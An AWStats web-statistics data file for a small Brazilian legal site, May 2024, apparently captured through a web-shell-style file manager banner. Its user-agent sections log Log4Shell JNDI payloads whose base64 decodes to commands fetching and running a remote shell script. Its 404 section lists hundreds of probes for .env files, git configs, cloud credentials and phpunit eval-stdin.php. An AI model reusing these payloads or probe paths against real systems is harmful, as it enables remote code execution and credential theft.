|
Server : Apache System : Linux vps.urbanovitalino.adv.br 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64 User : urbanovitalinoad ( 1001) PHP Version : 7.3.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/urbanovitalinoad/tmp/awstats/ |
Upload File : |
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202405 will be lost/reset.
# Last config file used to build this data file was /home/urbanovitalinoad/tmp/awstats/awstats.urbanovitalino.adv.br.conf.
# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2026
POS_TIME 2708
POS_VISITOR 30108
POS_DAY 48138
POS_DOMAIN 3541
POS_LOGIN 4344
POS_ROBOT 4623
POS_WORMS 5197
POS_EMAILSENDER 5328
POS_EMAILRECEIVER 5471
POS_SESSION 48934
POS_SIDER 49145
POS_FILETYPES 5606
POS_DOWNLOADS 5709
POS_OS 5757
POS_BROWSER 6139
POS_SCREENSIZE 7843
POS_UNKNOWNREFERER 7917
POS_UNKNOWNREFERERBROWSER 9340
POS_ORIGIN 10465
POS_SEREFERRALS 10603
POS_PAGEREFS 10747
POS_SEARCHWORDS 10954
POS_KEYWORDS 11106
POS_MISC 2372
POS_ERRORS 11165
POS_CLUSTER 4200
POS_SIDER_404 11280
END_MAP
# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime = Date of first visit for history file
# LastTime = Date of last visit for history file
# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240601002102 139 24131 12447804261114
FirstTime 20240501010424
LastTime 20240531231808
LastUpdate 20240601062508 139 0 138 0 0
TotalVisits 1194
TotalUnique 479
MonthHostsKnown 0
MonthHostsUnknown 479
END_GENERAL
# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
AddToFavourites 0 0 0
DirectorSupport 0 0 0
QuickTimeSupport 0 0 0
RealPlayerSupport 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
TotalMisc 0 0 0
END_MISC
# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 55 55 15763 236 244 2239100
1 63 63 37461 88 99 662854
2 64 64 10432 252 257 1872439
3 57 57 9291 173 180 1597072
4 68 68 24680 96 109 856139
5 59 59 30011 192 200 1815847
6 73 73 52524 130 164 1279451
7 76 76 39580 184 208 1809978
8 52 52 15274 100 109 797363
9 48 48 14622 105 112 1017823
10 50 50 14948 97 111 867562
11 52 52 15274 83 88 684776
12 47 47 14459 65 71 492620
13 53 53 8639 95 101 808265
14 60 60 16578 85 91 703297
15 57 57 16089 86 92 715150
16 62 62 23702 121 133 1019567
17 59 59 36809 136 151 1333524
18 57 57 22724 108 113 919337
19 62 62 37298 242 250 2387744
20 63 63 17067 132 138 1190471
21 52 52 22072 78 86 713291
22 67 67 37950 135 149 1273473
23 52 52 15274 147 158 1382999
END_TIME
# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 49
us 547 547 197603
be 310 310 50530
ru 208 208 40702
fr 48 48 28218
ca 44 44 143132
gb 31 31 5053
de 31 31 5053
in 31 31 5053
pa 20 20 3260
nl 12 12 8754
bg 9 9 1467
il 9 9 1467
hu 9 9 1467
gr 9 9 1467
se 6 6 978
vn 6 6 978
ir 5 5 815
ro 5 5 815
id 5 5 652
ua 5 5 815
pl 4 4 652
th 4 4 652
eg 4 4 652
it 3 3 20883
cz 3 3 489
mk 2 2 326
au 1 1 163
bh 1 1 163
cn 2 2 326
ba 1 1 163
ps 2 2 326
mn 1 1 163
ec 1 1 163
ar 1 1 163
zz 2 2 7124
bo 1 1 163
pt 1 1 163
es 3 3 489
jp 1 1 163
ae 3 3 489
am 1 1 163
tw 3 3 489
ao 2 2 7124
ng 1 1 163
eu 3 3 7287
br 2 2 326
dk 3 3 489
at 1 1 163
cl 1 1 163
END_DOMAIN
# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER
# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 2
0x0d4942aa2f43386bdadc512ddc41ffa47d343198 1 1 163 20240522172849
1JTsMyn4yizbEWCDqeuedShvC9CRjj4ByS 1 1 163 20240522172848
END_LOGIN
# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 12
no_user_agent 357 55420 20240531232338 0
crawl 14 2282 20240528144724 0
Go\-http\-client/ 12 29148 20240531160739 2
(firefox/)([0-9]\.|[0-1][0]\.) 6 978 20240531082648 0
curl 5 163 20240522040335 0
java 2 7124 20240521014549 0
Googlebot/ 2 11234 20240522013141 0
survey 2 0 20240531141921 0
discover 1 163 20240507131744 0
libwww\-perl 1 163 20240519214329 0
Python\-urllib/ 1 163 20240528061943 0
Apache\-HttpClient/ 1 163 20240521014549 0
END_ROBOT
# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS
# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER
# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER
# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 2
cgi 47 327167 0 0
html 1361 221354 0 0
END_FILETYPES
# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS
# OS ID - Hits
BEGIN_OS ID - Hits - Pages 23
android10 2 2
winnt 2 2
macosx7 9 9
win7 42 42
macosx 7 7
win10 415 415
androidpie 1 1
win8 3 3
macosx6 1 1
ios_iphone 7 7
Unknown 227 227
android 1 1
linux 595 595
winvista 1 1
macosx12 1 1
macosx11 7 7
androidmarshmallow 2 2
macosx15 31 31
winxp 2 2
macosx10 4 4
linuxubuntu 15 15
androidkitkat 27 27
macosx14 6 6
END_OS
# Browser ID - Hits - Pages
BEGIN_BROWSER 80
chrome90.0.4430.85 219 219
Unknown 129 129
chrome52.0.2743.116 19 19
chrome106.0.0.0 11 11
firefox125.0 2 2
chrome51.0.2704.103 29 29
safari4.0.4 1 1
chrome41.0.2225.0 1 1
chrome103.0.5060.114 1 1
chrome86.0.4240.183 1 1
msie9.0 2 2
chrome118.0.0.0 3 3
chrome83.0.4103.61 4 4
safari13.0.3 7 7
firefox109.0 2 2
firefox115.0 12 12
opera94.0.0.0 1 1
chrome70.0.3538.77 2 2
chrome88.0.4324.190 17 17
netscape5.0 40 40
chrome79.0.3945.130 1 1
chrome102.0.0.0 3 3
chrome119.0.0.0 1 1
firefox77.0 2 2
firefox118.0 5 5
chrome76.0.3809.111 1 1
chrome105.0.0.0 3 3
chrome10.0.648.133 2 2
chrome52.0.2809.98 2 2
chrome53.0.3056.76 1 1
chrome110.0.0.0 2 2
chrome120.0.0.0 9 9
chrome66.0.3359.117 2 2
chrome101.0.1336 1 1
chrome76.0.3809.132 5 5
firefox73.0 10 10
firefox65.0 3 3
chrome68.0.3440.106 2 2
chrome60.0.3112.113 46 46
chrome17.0.963.56 9 9
chrome122.0.6261.94 2 2
safari9.1.2 7 7
android 27 27
firefox71.0 2 2
chrome49.0.2623.112 2 2
chrome94.0.4606.71 1 1
chrome108.0.0.0 12 12
chrome83.0.4103.7 1 1
opera107.0.0.0 2 2
chrome78.0.3904.108 22 22
msie7.0 2 2
chrome54.0.1909 1 1
chrome94.0.4606.61 3 3
firefox106.0 2 2
chrome58.0.3029.110 2 2
firefox105.0 9 9
mozilla 69 69
chrome81.0.4044.129 561 561
chrome74.0.3729.131 4 4
chrome116.0.0.0 1 1
chrome102.0.5005.63 4 4
chrome54.0.3022.77 1 1
opera95.0.0.0 1 1
chrome55.0.3047.55 1 1
chrome39.0.2171.95 4 4
chrome41.0.2228.0 11 11
chrome74.0.3729.169 1 1
firefox110.0 3 3
firefox69.0 1 1
firefox123.0 1 1
chrome121.0.0.0 5 5
chrome124.0.0.0 1 1
firefox76.0 1 1
chrome125.0.0.0 1 1
firefox120.0 1 1
chrome101.0.4951.41 2 2
chrome96.0.4664.110 1 1
chrome109.0.0.0 13 13
firefox102.0 4 4
chrome122.0.0.0 6 6
END_BROWSER
# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE
# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 15
Python/3.7_aiohttp/3.7.4.post0 20240527145918
Hello_World 20240529110926
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20240531203713
Mozilla/5.0 20240517064251
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20240531204926
python-requests/2.32.2 20240531152435
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20240530040612
python-requests/2.31.0 20240525202940
Mozilla/5.0_zgrab/0.x 20240531001555
Mozilla/5.0_(compatible;_Odin;_https://docs.getodin.com/) 20240531171643
abuse.xmco.fr 20240517184424
python-requests/2.26.0 20240526203003
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.141.85.179:2411/TomcatBypass/Command/Base64/d2dldCAtTy0gaHR0cDovLzQ1LjE0MS44NS4xNzkvbGkuc2ggfHNoIHx8IGN1cmwgaHR0cDovLzQ1LjE0MS44NS4xNzkvbGkuc2ggfHNo}') 20240515130356
Python/3.8_aiohttp/3.9.5 20240523004245
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.141.85.179:2411/TomcatBypass/Command/Base64/d2dldCAtTy0gaHR0cDovLzQ1LjE0MS44NS4xNzkvbGkuc2ggfCBzaDsgY3VybCBodHRwOi8vNDUuMTQxLjg1LjE3OS9saS5zaCB8IHNo}') 20240510144907
END_UNKNOWNREFERER
# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 11
Python/3.7_aiohttp/3.7.4.post0 20240527145918
Hello_World 20240529110926
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20240531204926
python-requests/2.32.2 20240531152435
Linux_Gnu_(cow) 20240529220259
python-requests/2.31.0 20240525202940
python-requests/2.26.0 20240526203003
abuse.xmco.fr 20240517184424
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.141.85.179:2411/TomcatBypass/Command/Base64/d2dldCAtTy0gaHR0cDovLzQ1LjE0MS44NS4xNzkvbGkuc2ggfCBzaDsgY3VybCBodHRwOi8vNDUuMTQxLjg1LjE3OS9saS5zaCB8IHNo}') 20240510144907
Python/3.8_aiohttp/3.9.5 20240523004245
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//45.141.85.179:2411/TomcatBypass/Command/Base64/d2dldCAtTy0gaHR0cDovLzQ1LjE0MS44NS4xNzkvbGkuc2ggfHNoIHx8IGN1cmwgaHR0cDovLzQ1LjE0MS44NS4xNzkvbGkuc2ggfHNo}') 20240515130356
END_UNKNOWNREFERERBROWSER
# Origin - Pages - Hits
BEGIN_ORIGIN 6
From0 1390 1390
From1 3 3
From2 0 0
From3 15 15
From4 0 0
From5 0 0
END_ORIGIN
# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS
# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 2
http://167.114.153.145 14 14
http://167.114.153.145:80 1 1
END_PAGEREFS
# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS
# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS
# Errors - Hits - Bandwidth
BEGIN_ERRORS 3
400 2 0
404 2804 28317133
405 46 16008
END_ERRORS
# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 625
/staging2/.env 2 -
/db/phpmyadmin5/index.php 1 -
/front/.env 1 -
/.env.example 5 -
/js/.env.example 1 -
/mysqladmin/index.php 1 -
/apps/.env 1 -
/docker/.env 9 -
/tests/.env 1 -
/enviroments/.env.production 2 -
/download/file.ext 1 -
/administrator/phpMyAdmin/index.php 1 -
/database/.env.example 1 -
/odinhttpcall1716730350 1 -
/sendgrid/.env 1 -
/config/.env 1 -
/laravel_api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/cgi/conf.bin 5 http://167.114.153.145:80/mainFrame.htm
/.env.%7B%7BSD%7D%7D 2 -
/phpMyAdmin2/index.php 1 -
/query 5 -
/geoip/ 6 -
/.most/nas_sharing.cgi 6 -
/down/ 1 -
/tool/view/phpinfo.view.php 2 -
/new 1 -
http://167.114.153.145:80/mysql-admin/scripts/setup.php 1 -
/sitecore/shell/sitecore.version.xml 3 -
/config/.env.example 1 -
/wp 1 -
/phpMyAdmin-5.2.0-all-languages/index.php 1 -
/PMA/index.php 1 -
/en/.env.example 2 -
/dev/.env 1 -
/docker/.env.example 1 -
/private/.env 4 -
/examples/.env.example 1 -
/database-config.json 2 -
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/wordpress 1 -
/temp/.env 1 -
/.git/config 28 -
/config/config.json 3 -
/message-api/actuator/env 3 -
/index.php 16 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 29 -
/phpMyAdmin-5.2/index.php 1 -
/prod/.env.example 1 -
/phpMyAdmin-latest/index.php 1 -
/administrator/PMA/index.php 1 -
/admin/web/index.php 1 -
/application/.git/config 9 -
/db/dbweb/index.php 1 -
/images/logo.blu.png 1 -
/aab8 4 -
/git/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/phpMyAdmin-5.2.1/index.php 1 -
/webfig/ 3 -
/debug/default/view 13 -
/login.jsp 7 -
/appsettings.json 1 -
/debug/default/view.html 4 -
/.env 691 -
/ecc/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
http://167.114.153.145:80/pma/scripts/setup.php 1 -
/odinhttpcall1715591608 1 -
/static/historypage.js 3 -
/config.json 10 -
/tmp/.env 1 -
/webui/ 31 -
/.env.txt 3 -
/_phpmyadmin/index.php 1 -
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php 5 -
/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 4 -
/en/.env 2 -
/hudson 10 -
/sql/webadmin/index.php 1 -
/laravel/.env 3 -
/app_dev.php/_profiler/open 3 -
/1.php 6 -
http://167.114.153.145:80/sqlweb/scripts/setup.php 1 -
/back-end/app/.env 1 -
/phpMyAdmin5.1/index.php 1 -
/stats/.env 1 -
/_profiler/open 3 -
/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/WuEL 1 -
/167.114.153.145/.env 1 -
/00_server_info.php 2 -
/manager/text/list 4 -
/core/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/production/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/database/index.php 1 -
/web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
http://167.114.153.145:80/phpMyAdmin-2.10.2/scripts/setup.php 1 -
/5info.php 2 -
/sql/websql/index.php 1 -
/back/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/solr/admin/info/system 5 -
/sites/all/libraries/mailchimp/.env 1 -
/aaa9 4 -
/temp/.env.example 1 -
http://167.114.153.145:80/phpMyAdmin2/scripts/setup.php 1 -
/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php 4 -
http://167.114.153.145:80/web/phpMyAdmin/scripts/setup.php 1 -
/api/session/properties 3 -
/developer/.env.example 1 -
/js/.env 1 -
/cgi-bin/orospucoc.cgi 9 -
/modules/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/admin-app/.env%20 4 -
/prod/.env 1 -
/druid/index.html 9 -
/robomongo.json 3 -
/db.json 3 -
/cgi-bin/main.pl 3 -
/administrator/phpmyadmin/index.php 1 -
/WebInterface/ 3 -
/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/php-myadmin/index.php 1 -
/app/frontend/.env 1 -
/developer/.env 1 -
/form.html 6 -
/back/.env 4 -
/admin/phpMyAdmin/index.php 1 -
/vendor/laravel/.env.example 1 -
/config/.git/config 9 -
/odinhttpcall1714880305 1 -
/showLogin.cc 3 -
/boaform/admin/formLogin 5 http://167.114.153.145:80/admin/login.asp
/dbadmin/index.php 1 -
/testing 1 -
/example/.env.example 1 -
/phpmyadmin/index.php 1 -
/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/ 1 -
/manage/account/login 6 -
/vendor/phpunit/phpunit/LICENSE/eval-stdin.php 5 -
/.env_1 3 -
/client/get_targets 2 -
/application/.env 5 -
/sql/phpmy-admin/index.php 1 -
/admin/.git/config 9 -
/awstats/.env 1 -
/config/deviceinfo.js 1 -
/develop/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/laravel/.env%20 4 -
/.env.old 7 -
http://167.114.153.145:80/php-myadmin/scripts/setup.php 1 -
/app/config/.env 1 -
/info.php 15 -
/v2/_catalog 7 -
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/a 1 -
/login 3 -
http://167.114.153.145:80/phpMyAdmin-2.10.3/scripts/setup.php 1 -
/phpinfo.php 7 -
/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 4 -
http://167.114.153.145:80/mysqladmin/scripts/setup.php 1 -
/phpMyAdmin-latest-english/index.php 1 -
/vendor/phpunit/Util/PHP/eval-stdin.php 5 -
/client_secrets.json 3 -
/v2/.env 1 -
/dashboard/ 4 -
/AwsConfig.json 3 -
/dev/.env.example 1 -
/front-app/.env 1 -
/front-end/.env.example 1 -
/static/.env.example 1 -
/data/.env 1 -
/cms/.env 4 -
http://167.114.153.145:80/phpMyAdmin-2.11.3/scripts/setup.php 1 -
/rest/.env 5 -
/MyAdmin/index.php 1 -
/phpmy/index.php 1 -
http://167.114.153.145:80/phpmanager/scripts/setup.php 1 -
/wp-config.php.backup 1 -
/phpmyadmin2019/index.php 1 -
/phpMyAdmin-5.2.1-english/index.php 1 -
http://167.114.153.145:80/_phpMyAdmin/scripts/setup.php 1 -
/.env.local 3 -
/.aws/credentials 1 -
/upl.php 6 -
/static/.env 1 -
/.env.bak 5 -
/sftp.json 3 -
/.env.production 10 -
/.DS_Store 6 -
/__info.php 2 -
/symfony/public/_profiler/phpinfo 2 -
/local/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/manager/html 6 -
/favicon-32x32.png 5 -
/tmp/.env.example 1 -
/admin/pma/index.php 1 -
/pos/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/config/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/site/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/env.production.js 1 -
/front-app/.env.example 1 -
/local/.env.example 1 -
/sql/php-myadmin/index.php 1 -
/front-end/.env 1 -
/production/.env 1 -
/user-config.json 3 -
/new/.env 1 -
http://167.114.153.145:80/admin/phpmyadmin/scripts/setup.txt 1 -
/sellers.json 3 -
/index.jsp 3 -
/live_env%20 4 -
/ajax/openvpn/del_ovpncfg.php 1 -
/phpMyAdmin/scripts/setup.php 2 http://167.114.153.145/phpMyAdmin/scripts/setup.php
/dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/files/ 6 -
/db/robomongo.json 3 -
/__tests__/test-become/.env 8 -
/mysql/dbadmin/index.php 1 -
/solr/admin/cores 5 -
/blog 1 -
/.env.www 3 -
/phpMyAdmin4/index.php 1 -
/vendor/.env.example 2 -
/django_project_path/.env.example 1 -
/sql/phpmyadmin3/index.php 1 -
/logon.htm 7 -
/all/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/apps/.env%20 3 -
/phpMyAdmin-4/index.php 1 -
/example/.env 1 -
/core/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/phpmyadmin_/index.php 1 -
/portal/redlion 10 -
/vps.urbanovitalino.adv.br/.env 1 -
/newsite/.env 1 -
/db/webadmin/index.php 1 -
/static../.git/config 9 -
/2phpmyadmin/index.php 1 -
/public/.env.example 2 -
/pms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/thumbs/.env.example 1 -
/wp-login.php 1 -
/cgi-bin/luci/ 440 -
/phpinfo 2 -
/wp-content/.env 1 -
/+CSCOE+/logon.html 8 -
/sql/sql/index.php 1 -
/db/db-admin/index.php 1 -
/.env.development%20 4 -
/cf_scripts/scripts/ajax/ckeditor/ckeditor.js 8 -
http://167.114.153.145:80/MyAdmin/scripts/setup.php 1 -
/parameters.yml 3 -
/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/vendor/.env 6 -
/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/v2/.env.example 1 -
/_profiler/empty/search/results 2 -
/sapi/debug/default/view 4 -
/environments/.env.example 1 -
/0.0_phpinfo.php 2 -
/.env~ 1 -
/app/config/parameters.yml 3 -
/vendor/laravel/.env 2 -
/credentials/config.json 3 -
/awstats/.env.example 1 -
/phpunit/Util/PHP/eval-stdin.php 5 -
/public/.env 4 -
http://167.114.153.145:80/db/scripts/setup.php 1 -
http://167.114.153.145:80/phpMyAdmin-2.11.4/scripts/setup.php 1 -
/.env.stage 3 -
/application/configs/application.ini 1 -
/data/.env.example 1 -
/route/.env 1 -
/rest/.env.example 1 -
/admin/.env 2 -
/beta/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/cgi-bin/authLogin.cgi 8 -
/system/.env.example 1 -
/build/.env.example 1 -
/phpMyadmin/index.php 1 -
/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 4 -
/deployment-config.json 3 -
/mysql/index.php 1 -
/.env.dev.local 3 -
/.env.development.local 3 -
/laravel/.env.example 1 -
/redmine/.env 8 -
/_phpinf.php 2 -
/frontend/.env.example 1 -
/mysql/mysqlmanager/index.php 1 -
/system/.env 5 -
/app/.env%20 4 -
/_poopinfo.php 2 -
/development/.env%20 4 -
/_all_dbs 2 -
/login.action 2 -
http://167.114.153.145:80/admin/pma/scripts/setup.php 1 -
/ReportServer 5 -
/blog/.env 1 -
http://167.114.153.145:80/mysql/scripts/setup.php 1 -
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php 5 -
/assets/.env 1 -
/phpMyAdmin3/index.php 1 -
/smtp.json 3 -
/html/phpinfo.php 2 -
/identity 3 -
/old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/Public/home/js/check.js 1 -
/doc/index.html 8 -
/cgi-bin/.env 1 -
/evox/about 9 -
/phpmyAdmin/index.php 1 -
/demo/.env.example 1 -
/phpunit/src/Util/PHP/eval-stdin.php 5 -
/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
http://167.114.153.145:80/phpMyAdmin-2.11.0/scripts/setup.php 1 -
/phpMyAdmin6/index.php 1 -
/robots.txt 19 -
/fedex/.env 4 -
/web/.env 2 -
/shared/.env%20 4 -
http://167.114.153.145:80/myadmin/scripts/setup.php 1 -
/wordpress/wp-login.php 1 -
/api/.env 11 -
/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/odinhttpcall1717182885 1 -
/wp-admin/install.php 1 -
/.env.1 1 -
/wp-admin/setup-config.php 1 -
/sql/webdb/index.php 1 -
/.env.suspected 1 -
/cgi-bin/login.cgi 6 -
/.env_old 1 -
/.env.project%20 4 -
/cacti 1 -
/.env.%7B%7BDN%7D%7D 2 -
/phpMyAdmin-4.9.10-all-languages/index.php 1 -
/admin/db/index.php 1 -
/app_dev.php/_profiler/phpinfo 4 -
/admin/sysadmin/index.php 1 -
/insta/ 1 -
/02-info.php 2 -
/stats/.env.example 1 -
/core/.env 8 -
http://167.114.153.145:80/phpmy-admin/scripts/setup.php 1 -
/cgi-bin/nas_sharing.cgi 17 -
http://167.114.153.145:80/webdb/scripts/setup.php 1 -
/actuator/health 10 -
/advanced/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/sql/phpmanager/index.php 1 -
/blog/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/sendgrid.env 2 -
http://167.114.153.145:80/phpMyAdmin-2.11.9.2/scripts/setup.php 1 -
/phpmyadmin2018/index.php 1 -
/phpMyAdmin_/index.php 1 -
/phpmyadmin2017/index.php 1 -
/ext-js/app/common/zld_product_spec.js 2 -
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/phpmyadmin4/index.php 1 -
/awsconfig.json 3 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 2 -
/mysql-admin/index.php 1 -
/config.js 2 -
/live/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/env.prod.js 1 -
/mail/.env.example 1 -
/env.js 3 -
/test/.env 1 -
/admin/index.php 1 -
/stat 2 -
/src/.env 2 -
/password.php 6 -
/app/.env.example 2 -
/pos/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/conf/.env 1 -
/application/.env.example 1 -
/wp-admin/.env 1 -
/phpMyAdmin-3/index.php 1 -
/project/.env 1 -
http://167.114.153.145:80/phpMyAdmin-2.5.4/scripts/setup.php 1 -
/lab/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 1 -
/enviroments/.env 4 -
/actuator/env 3 -
/phpMyAdmin5/index.php 1 -
/phpMyAdmin-5.2.0/index.php 1 -
/phpmy-admin/index.php 1 -
/.vscode/sftp.json 8 -
/mail/.env 1 -
/.env.live 3 -
/test/.env.example 1 -
/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 5 -
/.env.save 6 -
/phpmyadmin2021/index.php 1 -
/aws.json 2 -
http://167.114.153.145:80/phpMyAdmin-2.5.5/scripts/setup.php 1 -
/admin/index.html 7 -
